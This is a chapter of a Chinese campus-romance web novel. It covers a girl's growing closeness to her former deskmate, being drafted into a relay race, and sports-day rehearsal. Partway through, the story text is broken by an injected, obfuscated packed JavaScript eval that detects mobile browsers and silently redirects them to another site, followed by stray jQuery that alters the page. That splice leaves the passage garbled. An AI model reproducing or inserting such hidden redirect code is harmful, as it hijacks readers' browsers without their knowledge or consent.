33. 温热
作品:《装乖[校园+破镜重圆]》 饭团的温度从塑料袋洇出,一点点传递到傅弦音的指尖。
她就这么拿着袋子,也没有要吃的打算。
是什么时候,变成这样的呢?
是月考之后,她被陈慧梅赶出家,顾临钊过来找她。
还是再之前,她发现自己对顾临钊产生了依赖。
又或者更早。
从程昭昭在她身边坐下和她聊天,林安旭看她腿伤自告奋勇地去给她买习题册,陈念可拉着她在休息时间穿梭于校门口的小吃摊。
是她在刚转来北川不过三天,就告诉林逾静,北川很好,她碰到了很善良的人。
是顾临钊在和她同桌的第一天,看见她情绪低落,给她买了一杯杨枝甘露。
像香气,像水蒸气,看不见摸不着,可就从丝丝缕缕的地方渗入进来。
这是一种很奇妙的感觉。
就像学习一门语言的最佳年龄是在五岁左右,只要过了这个年龄,哪怕后面再怎么去学习,新学习的语言也没办法达到母语水平。
这些奇怪的感觉,是不是也是这样。
是不是也有一个最佳的接收,学习,并给出最正确反馈的年龄。
或许和学习语言不同,接纳感受的年龄不是5岁。
但是傅弦音觉得也一定不在17岁。
她已经过了那个年龄了,早早的就过了。
所以,傅弦音想。
那就一直做一个胆小鬼吧。
这应该,不能,算作是她的错吧。
指尖被热腾腾的饭团烫到。
傅弦音下意识瑟缩了一下。
算了。
是她的错,她也认了。
手中重量一轻。
傅弦音转头。
顾临钊把塑料袋拎过去,撕开了饭团的包装,递到她嘴边。
他声音带了几分笑意,垂着眸子,目光落在她的嘴上。
他说:“怎么,要我喂你?”
饭团尖角的紫菜边缘翘起,有些粗糙的棱角一下一下地划着傅弦音的嘴唇。
她不知道自己是抽了什么风。
但是忽然很想,很想。
很想就这么张嘴,然后就着顾临钊的手,咬下去这一块饭团。
但她没有。
她只是从顾临钊手上接过了饭团。
然后一口咬下。
*
不知是不在同桌,两人没有那么多说话的机会,还是顾临钊完全没看见。
傅弦音心惊胆战地过了一个下午,最后也无事发生。
晚自习下课,林安旭凭借着位置优势,下课铃一打响就踩上讲台。
他敲敲讲桌,扯开嗓子喊:
“明天体育课排练运动会开幕式,报了项目的记得去训练!”
“芜湖!”
“太好了!总算有点运动会的样子了!”
“班服呢班服呢?不会还是咱去年那套丑不拉几的衣服吧!”
“能不能晚自习请假去训练啊!最后一届运动会了,为班争光嘛!”
“到底是为班争光还是别的你自己心里有数。”
高颖不知道什么时候从前门走进来,林安旭看见人要上讲台,忙笑嘻嘻地下去了。
高颖:“班服不换了,穿去年那身就行。”
“啊,不要啊——”
“高姐,那衣服真的丑啊——”
“丑不也是去年你们自己选的。”
高颖没在这个话题上继续很久,她说:“明天体育课都给我好好练,队伍练齐点。班长和体委仔细盯着。”
她看向林安旭:“项目报齐了吗?”
林安旭有些为难:“男生那边都报满了,女生这里,还差一个4*100的接力没报满。”
十五班是纯理班,班上一共45个人,就10个女生。
这十个人里面,还要再减去举牌的傅弦音,和已经请假走人的宋瑶歌。
报项目的只剩八个。
程昭昭报了个200米,陈念可图轻松报了个跳远,剩下的女生也大多都报些踢毽子跳绳之类的,因此接力现在还差一个名额。
高颖拿过报名表看着。
扫了两眼,她开始看班上的人。
不知道为什么,傅弦音突然心里一凉。
她有种不祥的预感。
下一秒,高颖点了她的名字:
“傅弦音。”
傅弦音条件反射地站了起来。
高颖说:“跑个一百米,问题不大吧?”
傅弦音心中万马奔腾。
她当时答应举牌就是不想报运动会项目。
早知道举牌还要报项目,她宁愿就不举牌了。
还得排练还得拿班牌还得租礼服,这也很麻烦的好吗。
然而傅弦音知道她没有拒绝的权利。
她只能庆幸,庆幸高颖硬派的项目不包括那些一千米或者三千米之类的长跑。
不然以她的身体素质,傅弦音不怀疑自己有可能成为北川一中建校以来第一个死在运动会上的年级第一。
高颖:“接力是在第二天,刚好和开幕式也可以错开。”
傅弦音硬着头皮:“没问题老师,我能跑。”
高颖把表递给林安旭,林安旭转头,给傅弦音做了一个“对不起了姐,我也没办法”的表情。
傅弦音则回以一个“壮士赴死不必多说”的表情。
高颖:“心该收的都给我收收,下周就月考了,别光想着运动会。”
“说你呢任子骏,还晚自习不上了去训练,你是想去训练的吗?我看看你下次月考能考多少。”
被点名的男生在后排缩了缩。
高颖:“都先给我好好准备月考,月考结束,如果表现可以的话,那两天晚自习可以请假去训练。”
班上再一次爆发出惊人的喊声:
“谢谢高姐!”
“好好考试!”
“行了,”高颖手一挥:“都收拾东西回宿舍吧。”
尹泽轩还在写题。
傅弦音走的时候和他打了招呼,然后就去找前面的林安旭刺探军情。
她敲敲林安旭的桌子吗,问:“来给我看看,报接力的还有谁啊?”
林安旭:“除了姐你,还有纪逐渺,徐馨予和田恬。”
田恬话很少,徐馨予则挺爱笑。
傅弦音和她们接触的都不算多。
林安旭以为她是在担心比赛成绩,安慰她:
“姐你别担心,高姐只是会硬派项目,但是成绩不好她也不会说什么的,特别是你这样被硬派上去的。”
傅弦音倒不是担心比赛成绩。
她是担心训练。
和单人项目不一样,接力需要递棒接棒,这些都需要花时间和队友配合。
如果是个单人的100米,傅弦音完全可以自己想什么时候训练就什么时候训练,甚至哪怕不训练就上场前活动活动关节也没人会说她。
可是接力就不一样了。
训练磨合的确是个麻烦事。
更别提月考只剩一周了。
她正想着,徐馨予和田恬走过来了。
徐馨予笑道:“加个微信呗,拉你进个群,到时候我们有什么在群里说。”
傅弦音和她加了微信,问:“你们打算什么时候训练。”
徐馨予:“嗯,现在想的是每天晚自习下课去练一会接棒递棒什么的,等下周看看晚自习能不能跟高姐请假,你觉得怎么样?”
傅弦音抿了抿唇,她说:“我从明天开始可以跟你们晚自习下课去练,但是最多练半小时,周末因为月考我得复习我练不了,下周晚自习请假我应该也不太行。”
她露出了一个有些抱歉的神色:“不好意思啊。”
徐馨予摆摆手,刚要说话,一旁的田恬开口了。
她说:“我们谁跑第几棒还没定,明天先跑一次定一下,然后再看怎么训练。”
她皱眉:“月考都考完了,你晚自习还要学习吗?”
傅弦音脸上带了几分歉意,说出的话去却没有退让:
“要,而且月考之后是全市统考,时间也挺紧。你们运动会之前老师会因为运动会而不布置作业吗?”
徐馨予摇摇头:“不会。”
傅弦音直截了当:“晚自习如果训练的话我没时间写作业,我不想落进度。”
徐馨予笑:“哎呀,没啥问题,接棒递棒什么的也练不了那么久。”
她倒是很好说话的样子,拉着田恬走了,临走前跟傅弦音说:“那我们明天体育课去练一下啊?”
傅弦音回了个OK的手势。
两人走远,徐馨予拉着田恬叨叨:
“我感觉傅弦音人也挺好啊,挺好说话嘛。我本来也没报什么希望她真的晚自习会请假,学霸嘛,跟咱们不一样。”
田恬:“不知道跑得快不快。”
徐馨予:“快不快的也没办法了,高姐硬派给她的项目。哎,早知道就直接去问她要不要跑接力了,我们还能多训练几天。”
*
体育课是在大课间之后。
林安旭从大课间开始就开始兴奋,他去对面活动室把班牌从柜子里翻了出来。
傅弦音趁着大课间的时间去问顾临钊化学题,宋瑶歌请假去集训后,她去问题倒是有个位置坐还挺方便的。
“钊哥,给张纸来。”
林安旭提着班牌进来,傅弦音瞟了一眼,那班牌上面的灰都有厚厚一层。
她有些震惊:“你从哪搞得刚出土的古董玩意?上一次用这东西的时候你们都出生了吗?”
林安旭边擦班牌边说:“上一次是刚开学升旗仪式拿出来用了一次,再然后就没用过了。”
他擦干净班牌,兴冲冲地递给傅弦音:“姐,试试,手感咋样?”
傅弦音:“你等会,等我写完这道题。”
林安旭:“那姐我拿着班牌先下去了,等会上课了,你俩赶快啊。”
他说着就风风火火地跑了下去。
顾临钊扬了扬下巴,示意她继续写:
“不急,慢慢写。”
傅弦音撇撇嘴:“我也没急,这不是有你吗?迟到了班长在我也不怕。”
顾临钊用笔杆敲了敲桌子:“不是之前怕扣分那样了是吧。”
傅弦音手不停,嘴也没停:“你瞎说什么,我早改好了,我多久没违反班规班纪了。”
话音刚落,傅弦音就想起来昨天,她在后街揍吴嘉程的事。
她一阵心虚,而就在这时,顾临钊忽然嗤笑一声。
傅弦音被他笑得更加心虚,一句回怼的话都没再说。
题不算简单。
傅弦音写写停停,等到最后答案算出来时,班上已经没人了。
她瞟一眼时间,还有两分钟上课。
她也不着急,慢悠悠地去拿了水杯,走到门口时,顾临钊手里拿了顶熟悉的白色鸭舌帽,顺手扣她脑袋上了。
“嫌晒还不知道带个帽子来。”
顾临钊有些无奈的声音从头顶传来。
帽檐被顾临钊压得有些低,傅弦音必须要仰头才能看见顾临钊的脸。
她吐吐舌头:“忘了嘛,想起来就去买。”
“指望你想起来冬天都要来了吧。”
顾临钊打趣她。
傅弦音手上抱着水杯,不知道为什么,也没分出手去调整帽子。
顾临钊就在她身边走着,碰到楼梯时抬手扯一把她的袖子,等走到平地时又很快松手。
两人到操场上的时候,队伍已经排好了。
体育老师问:“举牌的呢?”
傅弦音忙举手:“这呢老师。”
她随手把杯子塞给顾临钊,小跑到体育老师那边拿班牌。
顾临钊挑了个阴凉地,把傅弦音杯子放在阴凉里,而后回到队伍里。
该说不说,顾临钊的帽子真的帮大忙。
班牌不算很轻,傅弦音走了一圈手臂就有些酸,她把班牌借给后面的程昭昭他们当太阳,自己则因为戴了帽子,整张脸都处在阴凉之下。
林安旭和体育老师在一旁调整队形,傅弦音回头看了一眼顾临钊。
他个子高,站在最后排,此刻被阳光晒得有些睁不开眼,眉头微微皱着。
明明是他的帽子,结果他还挡不了一点太阳。
傅弦音心中升起了一点愧疚。
但是只有一点。
程度完全不足以让她去帽子还给顾临钊。
似乎是察觉到她的目光,顾临钊的视线移了过来。
傅弦音点了点白色鸭舌帽的帽檐,双手合十,放在脸前,微微晃了晃,是个谢谢的手势。
顾临钊唇角勾了勾,皱着的眉头也舒展了些。
傅弦音又伸手比了个耶,放在脑袋侧边,像兔子耳朵似的。
她笑着,弯了弯手指。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100799|138148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
人群里闹哄哄,体育老师还在调整着大家的站位。
而他们两个一前一后,隔着嘈杂纷乱的人群,做着这隐秘又坦荡的交流。
“哔——”
哨子吹响,体育老师说:“来,再走一圈。”
程昭昭忙把班牌递给傅弦音。
即将转身之际,傅弦音看见站在最后一排的少年抿了抿唇,而后伸出手指,也冲她微微弯了弯。
像在回应她。
第二圈走完就解散训练了。
林安旭去帮程昭昭掐表看200米的成绩,陈念可则被老师带着去和一群跳高跳远项目的人一起走了。
徐馨予拉着田恬和纪逐渺过来,说道:“你有什么想跑的位置吗?”
傅弦音想了想,问:“你们之前呢,是怎么定的。”
田恬:“我之前跑200,所以我跑第三棒,徐馨予弯道快,听枪也准,所以她是第一棒。”
傅弦音:“那我就是二或者四咯?”
徐馨予拽着傅弦音往跑到上走:“你和纪逐渺要不跑一次看看?谁快点谁跑最后一棒。”
傅弦音看向纪逐渺。
后者点点头:“好。”
田恬:“我有哨子,秒表没带,你们有秒表吗?”
徐馨予:“没有哎,要不我站在后面目测?”
田恬:“不行,记一下她俩的秒数,最好能多测几次,免得一两次特殊情况。”
听到多测几次几个字时,傅弦音心里颤了颤。
多测几次,那得跑多少啊。
她现在身体素质短跑冲刺个一两百米顶天了。
两人正盘算着要不要去找体育老师借一个,一直没说话的纪逐渺突然开口了。
她说:“班长好像有,要不去找她问问。”
“行哎。”徐馨予推了推傅弦音:“你去借。”
说完,她还冲傅弦音隐秘的眨了眨眼睛,悄声道:“你俩不是之前同桌,关系好,你问问他去。”
傅弦音:……
在她转来之前,除了林安旭,难道没人和顾临钊同桌过吗?
她下巴一仰,眯了眯眼:“他人呢?”
纪逐渺伸手一指,在操场的另一端,他和体育老师站在一起。
“那呢。”纪逐渺说。
“那走吧。”傅弦音说。
两人朝着顾临钊的方向走去,徐馨予还在身后喊:“记得跟他说说让他来帮忙测一下!或者学下秒表怎么用,我不会用!”
上体育课的不止他们一个班。
傅弦音在跑道上看到了一个让她不怎么高兴的身影。
吴嘉程他们班也在为运动会做准备,吴嘉程估计是报了项目,此刻正朝着跳高跳远器材那走过去。
两人目的地都是同一个,傅弦音忽然有点烦躁地“啧”了一声。
没想到,一旁的纪逐渺说:“怎么了?”
傅弦音找了个借口:“太晒了。”
纪逐渺:“你带了顾临钊的帽子还晒啊?”
傅弦音:“啊,晒啊——”
她后知后觉反应过来,扭头问:“你怎么知道这是顾临钊的帽子?”
纪逐渺抿了抿唇,说:“我看他戴过。”
傅弦音没说话了。
纪逐渺也没吭声。
两人走到跳远器材那,程昭昭刚好也跑完200米,和林安旭凑在那块看成绩。
“哎兄弟,你也这节上体育课?”
林安旭看见了吴嘉程,问道。
吴嘉程点点头,指指跳高器材:“来练练。”
他话音刚落,林安旭就看见了傅弦音,他挥手喊:“咋了姐,来借点啥吗?”
傅弦音看都没看吴嘉程一眼,说:“啊,来借个秒表,我们测下100米,看看谁跑哪一棒。”
林安旭下意识就要把秒表给她,身边却有人先他一步。
秒表的挂绳还套在顾临钊手腕上,他胳膊却已经先一步伸出去了。
吴嘉程看了眼傅弦音,又看了眼纪逐渺,问:“你也报项目了?什么项目啊,到时候我去给你加油呗?”
傅弦音完全不想理他。
她直接上手去摘顾临钊手腕上的挂绳。
林安旭说:“姐报了个4*100接力,你去给她加油,你不怕你班里人骂你叛徒啊?”
他说完就和吴嘉程笑做一团。
纪逐渺的目光落在傅弦音的手指上。
挂绳套得不算紧,傅弦音捏着松紧扣把它放得更松点。
她的手凉,指尖也凉,手背也凉。偶尔擦过顾临钊的皮肤,却只是不经意之间轻轻碰一下,很快又松开。
顾临钊垂着脑袋,就看她解挂绳。
黑色的挂绳套在他手腕上,被女孩手指一钩就松了下来。
她弯曲的指节几乎是擦着顾临钊的手背,一点点到指尖。
直到黑色的挂绳完全从他手上离开,落到了她掌心。
“好了。”
傅弦音把挂绳套在自己手腕上,然后收紧。
“怎么用啊?”
她顺口问了一句。
顾临钊顿了顿:“你不会用?”
傅弦音按了几个按键,秒表开始工作。
她刚要说“现在会了”,一只手就包裹住了她的手。
“这个,清零重置。”
顾临钊手指微微用力,按下她的手指,而后按下了秒表的按键。
“这个是计时。”
他的手掌很大,能够包裹住她的,掌心干燥,又微微有些粗糙,似乎是打篮球磨出来的一些茧。
“这个是暂停。”
温暖的温度从手背传来,傅弦音感觉自己原本冰凉的掌心都在微微发热。
“暂停再按一下,就是继续。”
秒表上停止的数字从新开始跳动。顾临钊站得离她很近,他微微侧着身,整个人是往她这里倾得姿态。
“这个是结束。”
指尖后面传来最后一道压力,傅弦音感觉耳边的那道气息逐渐远去,手上的温热也消失了,风一吹,原本温暖的手背又变得冰凉。
树叶沙沙作响,吴嘉程和林安旭似乎在聊着什么。
可所有的声音落在傅弦音眼里都是模糊不清的杂音,像是被一层布遮住,密不透风,透不出任何一丝声息。
耳边,她只能听到一句话。
“会用了么?”
要不要,再教你一遍。